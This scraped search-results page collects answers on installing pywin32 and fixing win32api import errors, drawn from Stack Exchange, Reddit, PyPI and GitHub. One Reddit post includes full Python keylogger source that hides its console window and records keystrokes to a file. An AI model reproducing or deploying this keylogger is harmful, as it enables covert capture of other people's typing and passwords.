1. Start a command line with admin rights.

  2. python -m pip install pywin32

  3. C:\Program Files\Stackless36\Scripts>python pywin32_postinstall.py -install The path C:\Program Files\Stackless36\ should be replaced with the path at which your Python version is installed.

  4. Test (admin rights optional) using python -c "import win32com" or python speak.py

    where speak.py consists of this text:

    import win32com.client
    
    speaker = win32com.client.Dispatch("SAPI.SpVoice")
    speaker.Speak("It works. Hoorah!")
    

Working fine on Python 3.6.4 Stackless 3.1b3 060516 (v3.6.4-slp:9557b2e530, Dec 21 2017, 15:23:10) [MSC v.1900 64 bit (AMD64)] on win32. Vanilla CPython hangs out here:

C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe
Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 16:07:46) [MSC v.1900 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import win32com.client
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ModuleNotFoundError: No module named 'win32com'
>>> exit()

C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe -m pip install pywin32
Collecting pywin32
  Cache entry deserialization failed, entry ignored
  Downloading https://files.pythonhosted.org/packages/d4/2d/b927e61c4a2b0aaaab72c8cb97cf748c319c399d804293164b0c43380d5f/pywin32-223-cp36-cp36m-win32.whl (8.3MB)
    100% |β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 8.3MB 50kB/s
Installing collected packages: pywin32
Successfully installed pywin32-223
You are using pip version 9.0.3, however version 10.0.1 is available.
You should consider upgrading via the 'python -m pip install --upgrade pip' command.
Answer from Cees Timmerman on Stack Exchange
🌐
PyPI
pypi.org β€Ί project β€Ί pywin32
pywin32 Β· PyPI
This is the readme for the Python for Win32 (pywin32) extensions, which provides access to many of the Windows APIs from Python, including COM support.
      Β» pip install pywin32
    
Published Β  Jun 04, 2026
Version Β  312
Top answer
1 of 4
36
  1. Start a command line with admin rights.

  2. python -m pip install pywin32

  3. C:\Program Files\Stackless36\Scripts>python pywin32_postinstall.py -install The path C:\Program Files\Stackless36\ should be replaced with the path at which your Python version is installed.

  4. Test (admin rights optional) using python -c "import win32com" or python speak.py

    where speak.py consists of this text:

    import win32com.client
    
    speaker = win32com.client.Dispatch("SAPI.SpVoice")
    speaker.Speak("It works. Hoorah!")
    

Working fine on Python 3.6.4 Stackless 3.1b3 060516 (v3.6.4-slp:9557b2e530, Dec 21 2017, 15:23:10) [MSC v.1900 64 bit (AMD64)] on win32. Vanilla CPython hangs out here:

C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe
Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 16:07:46) [MSC v.1900 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import win32com.client
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ModuleNotFoundError: No module named 'win32com'
>>> exit()

C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe -m pip install pywin32
Collecting pywin32
  Cache entry deserialization failed, entry ignored
  Downloading https://files.pythonhosted.org/packages/d4/2d/b927e61c4a2b0aaaab72c8cb97cf748c319c399d804293164b0c43380d5f/pywin32-223-cp36-cp36m-win32.whl (8.3MB)
    100% |β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 8.3MB 50kB/s
Installing collected packages: pywin32
Successfully installed pywin32-223
You are using pip version 9.0.3, however version 10.0.1 is available.
You should consider upgrading via the 'python -m pip install --upgrade pip' command.
2 of 4
4

Check sys.path to make sure the directory where the module is installed is in there, otherwise you have to add it (google PYTHONPATH windows for some help with that.)

People also ask

What is the VirtualBox Python win32api error?
The Python win32api error shows up in VirtualBox versions 7.0 and newer. This happens because the Python win32api module is missing from your Windows system. Also, it's part of the Pywin32 package, made for Windows.
🌐
sysnettechsolutions.com
sysnettechsolutions.com β€Ί home page β€Ί oracle vm virtualbox β€Ί how to fix missing dependencies python core / win32api in virtualbox
How to Fix Python win32api in VirtualBox | Quick Solution!
Will VirtualBox work if I don't install Python?
Yes, VirtualBox will work well even if you do not add Python Core/win32api to your computer. You do not need this pack for the Oracle program. But if you want to use VBox for more jobs, then you should add Python. In short, if you only use the on-screen buttons for virtual machines, you do not need this pack. However, if you want to do more computer-run jobs past the everyday screen work, you should add Python.
🌐
sysnettechsolutions.com
sysnettechsolutions.com β€Ί home page β€Ί oracle vm virtualbox β€Ί how to fix missing dependencies python core / win32api in virtualbox
How to Fix Python win32api in VirtualBox | Quick Solution!
Why is a Python implementation necessary for VirtualBox?
VirtualBox lets us run virtual machines using code. This covers jobs like making a VM, saving its state, and turning it off or stopping it. For better VM control, you need a Python app. This lets you add VBox to your work using the App Talking Link (API).
🌐
sysnettechsolutions.com
sysnettechsolutions.com β€Ί home page β€Ί oracle vm virtualbox β€Ί how to fix missing dependencies python core / win32api in virtualbox
How to Fix Python win32api in VirtualBox | Quick Solution!
🌐
Reddit
reddit.com β€Ί r/learnpython β€Ί how to install win32api?
r/learnpython on Reddit: How to install win32api?
March 18, 2020 -

The answer may seem straightforward, but I've been banging my head against a wall for hours at this point.

What I've tried so far pip install pypiwin32:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32
Collecting pypiwin32
  Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3-
none-any.whl
Collecting pywin32>=223 (from pypiwin32)
  Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: )
No matching distribution found for pywin32>=223 (from pypiwin32)

pip install pywin32:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32
Collecting pywin32
  Could not find a version that satisfies the requirement pywin32 (from versions: )
No matching distribution found for pywin32

Several specific versions like pip install pywin32==226:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32==226
Collecting pywin32==226
  Could not find a version that satisfies the requirement pywin32==226 (from versions: )
No matching distribution found for pywin32==226

and pip install pypiwin32==220:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32==220
Collecting pypiwin32==220
  Could not find a version that satisfies the requirement pypiwin32==220 (from versions: 219, 223)
No matching distribution found for pypiwin32==220

Even some shot-in-the-dark kind of attempts like pip install win32api:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install win32api
Collecting win32api
  Could not find a version that satisfies the requirement win32api (from versions: )
No matching distribution found for win32api

and python -m pip install pypiwin32:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>python -m pip install pypiwin32
Collecting pypiwin32
  Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3-
none-any.whl
Collecting pywin32>=223 (from pypiwin32)
  Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: )
No matching distribution found for pywin32>=223 (from pypiwin32)

I even tried many combinations of these previous commands using previous versions of pip and python to no avail. Do any of you know a possible solution?

🌐
Reddit
reddit.com β€Ί r/python β€Ί installing win32api in python
r/Python on Reddit: Installing win32api in python
November 3, 2019 -

Hey fellas I need help installing win32api on python. Im messing around following tutorials since im super new to coding and wanted to learn how to make a keylogger. The current code I have is--

# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
# open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Shamelessly used from another site. But when I try to run it this error comes up.

line 3, in <module>

import win32api

ModuleNotFoundError: No module named 'win32api'

🌐
YouTube
youtube.com β€Ί watch
How to Install PYWin32 in Python on Windows 10/11 (2023)
Enjoy the videos and music you love, upload original content, and share it all with friends, family, and the world on YouTube.
🌐
Python.org
discuss.python.org β€Ί python help
Cannot successfully install WIN32API - Python Help - Discussions on Python.org
October 4, 2022 - I had a small utility program written for me and installed on a computer, and now I want to install on another computer. I can program in VB, but I know nothing about Python. pertinent lines of code include: from pywinauto.application import Application, findwindows, wait_until, TimeoutError ...
Find elsewhere
🌐
Delft Stack
delftstack.com β€Ί home β€Ί howto β€Ί python β€Ί python win32api
Python Win32api | Delft Stack
February 25, 2025 - By utilizing win32api, developers can create scripts that automate mundane tasks or build complex applications that require more interaction with the underlying operating system. To get started, you’ll need to install the PyWin32 package.
🌐
SYSNETTECH Solutions
sysnettechsolutions.com β€Ί home page β€Ί oracle vm virtualbox β€Ί how to fix missing dependencies python core / win32api in virtualbox
How to Fix Python win32api in VirtualBox | Quick Solution!
If you don’t install Python win32api now, there won’t be any issues. You can install it later if you want. ... Open Chrome and download the Python application for your Windows 10/11 OS.
Published Β  May 1, 2026
🌐
PyPI
pypi.org β€Ί project β€Ί win32core
win32core Β· PyPI
Python extensions for Microsoft Windows’ Provides access to much of the Win32 API, the ability to create and use COM objects, and the Pythonwin environment Β· This provides the core functionality. ... Download the file for your platform. If you're ...
      Β» pip install win32core
    
Published Β  Sep 03, 2017
Version Β  221.36
🌐
YouTube
youtube.com β€Ί watch
How to Fix Missing Dependencies Python Core / Win32api in VirtualBox Windows 11 or 10 - YouTube
Link:- https://www.python.org/downloads/Commands 1:- py -m pip install pywin32Commands 2:- python.exe -m pip install --upgrade pipIn This Video We Will See H...
Published Β  November 21, 2024
🌐
CodeFAQ
codefaq.org β€Ί windows β€Ί python β€Ί how-to-fix-modulenotfounderror-no-module-named-win32api-in-python
How to fix ModuleNotFoundError: No module named β€˜win32api’ in Python
November 14, 2021 - cd C:\python3 python Scripts/pywin32_postinstall.py -install Β· After that, the installation will drop the DLL files under the C:\Windows\System32.
🌐
Reddit
reddit.com β€Ί r/learnpython β€Ί how to install win32api (or any other module for that reason)
r/learnpython on Reddit: How to install win32api (Or any other module for that reason)
January 26, 2016 -

To start off, I am very new to Python and have never installed modules before because up until now I've just been using the standard libraries (math, time, etc.).

So I'm looking into controlling the mouse cursor with Python (for a bot in a game) and come across this thread on Stackoverflow. The top answer there tells me to get a module called pywin32 from here. So I download the latest version (build 218, according to the readme file) and I download the appropriate EXE. Here is my Python info: Python 3.4.3 (v3.4.3:9b73f1c3e601, Feb 24 2015, 22:43:06) [MSC v.1600 32 bit (Intel)] on win32, so I download this version: pywin32-218.win32-py3.4.exe. After running it, and it telling me that it has installed successfully I try to test it out by using one of the example in that previous Stackoverflow thread (Which I think just makes your cursor move in a circle...?):

import win32api
import time
import math

for i in range(500):
    x = int(500+math.sin(math.pi*i/100)*500)
    y = int(500+math.cos(i)*100)
    win32api.SetCursorPos((x,y))
    time.sleep(.01)

However, when running this, I get this error:

Traceback (most recent call last):
  File "C:\Users\Matthew\Documents\Programming\Python\mouse_control\win32api.py", line 1, in <module>
    import win32api
  File "C:\Users\Matthew\Documents\Programming\Python\mouse_control\win32api.py", line 8, in <module>
    win32api.SetCursorPos((x,y))
AttributeError: 'module' object has no attribute 'SetCursorPos'

So with this, I assume it wasn't installed correctly (even though if I just run import win32api I get no error).

I've also tried to check if it is importing correctly using this:

import win32api

print(dir(win32api))
help(win32api)

Which outputs to this:

['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'win32api']
Help on module win32api:

NAME
    win32api

FILE
    c:\users\matthew\documents\programming\python\mouse_control\win32api.py

So I found this thread on Stackoverflow, and in the second answer it says I can install through console, so I try this (in command prompt):

C:\Python34\Scripts>pip install pypiwin32
Requirement already satisfied (use --upgrade to upgrade): pypiwin32 in c:\python
34\lib\site-packages

C:\Python34\Scripts>pip install pypiwin32 --upgrade
Requirement already up-to-date: pypiwin32 in c:\python34\lib\site-packages

But as you can see it says that everyone is installed correctly.

So my question is, how do I get the win32api module to actually work, and import into my program successfully?

Thanks so much for any answers, sorry for the long(ish) post, just wanted to get all the information in there because I've been at this for about two hours, and no amount of searching on Reddit, Google, or Stackoverflow could help me, apparently. If you need more info I'd be happy to provide it!

EDIT: I'm running 64bit Windows 8.1, if it matters.

EDIT 2: Thanks to u/mm_ma_ma I found the solution, which was very simple and a blunder on my part. The file name was the same as win32api, changing it fixed the solution. Thanks so much, guys!

🌐
GeeksforGeeks
geeksforgeeks.org β€Ί how-to-install-pywin32-on-windows
How to Install pywin32 on Windows? | GeeksforGeeks
September 22, 2021 - Python is a high-level programming language that has become increasingly popular due to its simplicity, versatility, and extensive range of applications. The process of How to install Python in Windows, operating system is relatively easy and involves a few uncomplicated steps.
🌐
GitHub
github.com β€Ί mhammond β€Ί pywin32 β€Ί issues β€Ί 1399
`import win32api` fails after `pip install pywin32` (ImportError: DLL load failed: The specified module could not be found) Β· Issue #1399 Β· mhammond/pywin32
August 29, 2019 - Expected behavior and actual behavior. Expected import win32api to work without any exception. Steps to reproduce the problem. Below I am working in a virtualenv; however, this same problem occurs when I install not inside a venv (I just...
Author Β  mhammond
Top answer
1 of 2
15

Spoiler alert!!!

Applied #2.2. (from below) to the original .whls, and published them on [GitHub]: CristiFati/Prebuilt-Binaries - (master) Prebuilt-Binaries/PyWin32/v225 (win_amd64, win32 for Python 3.8).

After installing (one of) them, existing code should work OOTB (with respect to this issue).

Install steps:

  1. Download the .whl that matches your Python architecture (064bit, 032bit - for more details on getting Python architecture, check [SO]: How do I determine if my python shell is executing in 32bit or 64bit? (@CristiFati's answer) (the question is about OSX, but other platforms are covered as well)), it will most likely be 64bit (win_amd64), from the above URL.
    For example, I downloaded it in L:\Downloads

  2. Invoke the PIP installer on it ([SO]: How to install a package for a specific Python version on Windows 10? (@CristiFati's answer)). Something like:

    (${path_to_your})python.exe -m pip ${path_to_the_downloaded_pywin32_whl}
    

    Example:

    "e:\Work\Dev\VEnvs\py_pc064_03.08.00_test0\Scripts\python.exe" -m pip "L:\Downloads\pywin32-225-cp38-cp38-win_amd64.whl"
    


The problem has been reported on [GitHub]: mhammond/pywin32 - python 3.8.

The above URL references 2 more:

  • [Python 3.8.Docs]: What’s New In Python 3.8 - Changes in the Python API which states (emphasis is mine):

    • DLL dependencies for extension modules and DLLs loaded with ctypes on Windows are now resolved more securely. Only the system paths, the directory containing the DLL or PYD file, and directories added with add_dll_directory() are searched for load-time dependencies. Specifically, PATH and the current working directory are no longer used, and modifications to these will no longer have any effect on normal DLL resolution.
  • [Python 3.Docs]: os.add_dll_directory(path) which states (emphasis still mine):

    This search path is used when resolving dependencies for imported extension modules (the module itself is resolved through sys.path), and also by ctypes.

In the same time, I did some digging of my own and discovered that (for win32api.pyd) it's pywintypes38.dll (which is a dependency for the .pyds) that is not found (I also specified this in a comment on the issue).

Solutions (actually workarounds (more or less) until an official and backwards compatible fix is released):

  1. Force pywintypes38.dll load by importing it (as it's also a Python module and in this scenario it doesn't fall under the above rule) before any PyWin32 module:

    import pywintypes
    import win32api
    

    If working with COM, you'd need import pythoncom

  2. Adding pywin32_system32 to the .dll search paths (following the new model from above). There are multiple ways:

    1. v-python's comment from the issue URL which provides a small snippet (I didn't test it)

    2. I also submitted [GitHub]: mhammond/pywin32 - Support for Python 3.8, where I do everything in the pywin32.pth file ("executed" when the interpreter starts, so no changes needed for existing code). Unfortunately, there is a problem with the AppVeyor automated tests which fail (but for some other reasons), so it has been stuck there for a while. Note that in the meantime, the PR was closed and another (similar) approach was pushed. Note that v226 (released on 20191110) which contains the fix, does not work on VirtualEnv ([SO]: PyWin32 (226) and virtual environments (@CristiFati's answer)).
      Anyway, applying the changes locally (1) (on both my Python VirtualEnvs), solved the problem (on one, and didn't break the other):

      [cfati@CFATI-5510-0:e:\Work\Dev\StackOverflow\q058631512]> sopr.bat
      ### Set shorter prompt to better fit when pasted in StackOverflow (or other) pages ###
      
      [prompt]> "e:\Work\Dev\VEnvs\py_064_03.07.03_test0\Scripts\python.exe" -c "import win32api"
      
      [prompt]> "e:\Work\Dev\VEnvs\py_064_03.08.00_test0\Scripts\python.exe" -c "import win32api"
      
      [prompt]>
      
    3. Other ways like copying the .dlls (e.g. in %SystemRoot%\System32), or SymLinking them, but (personally) I wouldn't recommend those

Check:

  • [SO]: Can't import dll module in Python (@CristiFati's answer) for more details on .dll loading (via CTypes)

  • [SO]: Is the function os. add_dll_directory() adding directories permanently? (@CristiFati's answer)

  • [SO]: Discover missing module using command-line ("DLL load failed" error) (@CristiFati's answer)



Update #0

[PyPI]: pywin32 227 (which addresses this issue), was published on 20191114!



Footnotes

  • #1.: Check [SO]: Run / Debug a Django application's UnitTests from the mouse right click context menu in PyCharm Community Edition? (@CristiFati's answer) (Patching UTRunner section) for how to apply patches (on Win).
2 of 2
-4

Managed to install pywin32 v225 with pycharm on python 3.8.

importing pywintypes before win32api

import pywintypes
import win32api
🌐
SourceForge
sourceforge.net β€Ί projects β€Ί pywin32
Python for Windows Extensions download | SourceForge.net
Download Python for Windows Extensions for free. OLD project page for the Python extensions for Windows. This project has been migrated to github - please visit https://github.com/mhammond/pywin32 Please file all issues via github.